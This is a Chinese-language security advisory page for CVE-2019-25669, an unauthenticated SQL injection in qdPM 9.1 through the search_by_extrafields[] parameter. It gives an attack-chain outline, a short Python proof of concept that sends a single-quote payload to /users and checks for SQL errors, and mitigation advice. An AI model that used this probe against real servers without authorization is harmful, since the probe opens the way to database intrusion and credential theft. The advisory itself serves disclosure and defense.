IPBUF安全漏洞报告
English
CVE-2019-25669 CVSS 8.2 高危

CVE-2019-25669 qdPM SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2019-25669
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
qdPM

相关标签

SQL注入qdPM远程漏洞高危

漏洞概述

qdPM 9.1版本存在SQL注入漏洞。攻击者可以通过search_by_extrafields[]参数注入恶意SQL代码。由于该漏洞无需认证且无需用户交互,攻击者可发送特制的POST请求到用户端点,触发数据库语法错误,进而窃取数据库中的敏感信息。该漏洞CVSS评分8.2,属于高危漏洞,对系统机密性构成严重威胁。

技术细节

该漏洞源于qdPM 9.1在处理用户搜索请求时,未对search_by_extrafields[]参数进行充分的过滤和验证,导致其直接拼接到SQL查询语句中。攻击者利用这一缺陷,构造包含恶意SQL语句的POST请求发送至/users端点。由于漏洞位于认证前的逻辑中或无需特定权限即可访问,攻击者无需登录即可发起攻击。通过注入特定的SQL语法(如单引号、UNION SELECT等),攻击者可以诱导数据库返回错误信息或执行非预期的查询操作。这种基于错误的盲注技术允许攻击者逐步提取数据库结构、用户凭证及其他敏感数据,从而完全控制数据库内容。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行qdPM 9.1,并确认/users接口可访问。
STEP 2
构造载荷
攻击者构造包含SQL注入语句(如单引号)的POST请求数据包,针对search_by_extrafields[]参数。
STEP 3
发送请求
攻击者向服务器的/users端点发送恶意POST请求,无需进行用户认证。
STEP 4
信息泄露
服务器处理请求时触发SQL语法错误,攻击者根据错误回显或布尔盲注结果提取敏感数据库信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): """ Proof of Concept for CVE-2019-25669 Checks for SQL Injection via search_by_extrafields[] parameter. """ target_url = f"{url}/index.php/users" # Malicious payload to trigger SQL syntax error payload = { "search_by_extrafields[]": "'" } try: response = requests.post(target_url, data=payload, timeout=10) # Analyzing response for SQL error indicators if "SQL syntax" in response.text or "mysql_fetch" in response.text or "ORA-" in response.text: return "[+] Vulnerability Detected: SQL Error found in response." else: return "[-] Vulnerability not detected or target patched." except requests.RequestException as e: return f"[!] Connection error: {e}" if __name__ == "__main__": target = "http://localhost" # Replace with actual target print(check_sqli(target))

影响范围

qdPM 9.1

防御指南

临时缓解措施
建议立即限制对/users端点的网络访问,仅允许受信任的IP地址访问。部署Web应用防火墙(WAF)以拦截包含常见SQL注入特征的流量。在官方修复补丁发布前,应检查代码中对search_by_extrafields[]参数的处理逻辑,实施严格的参数过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表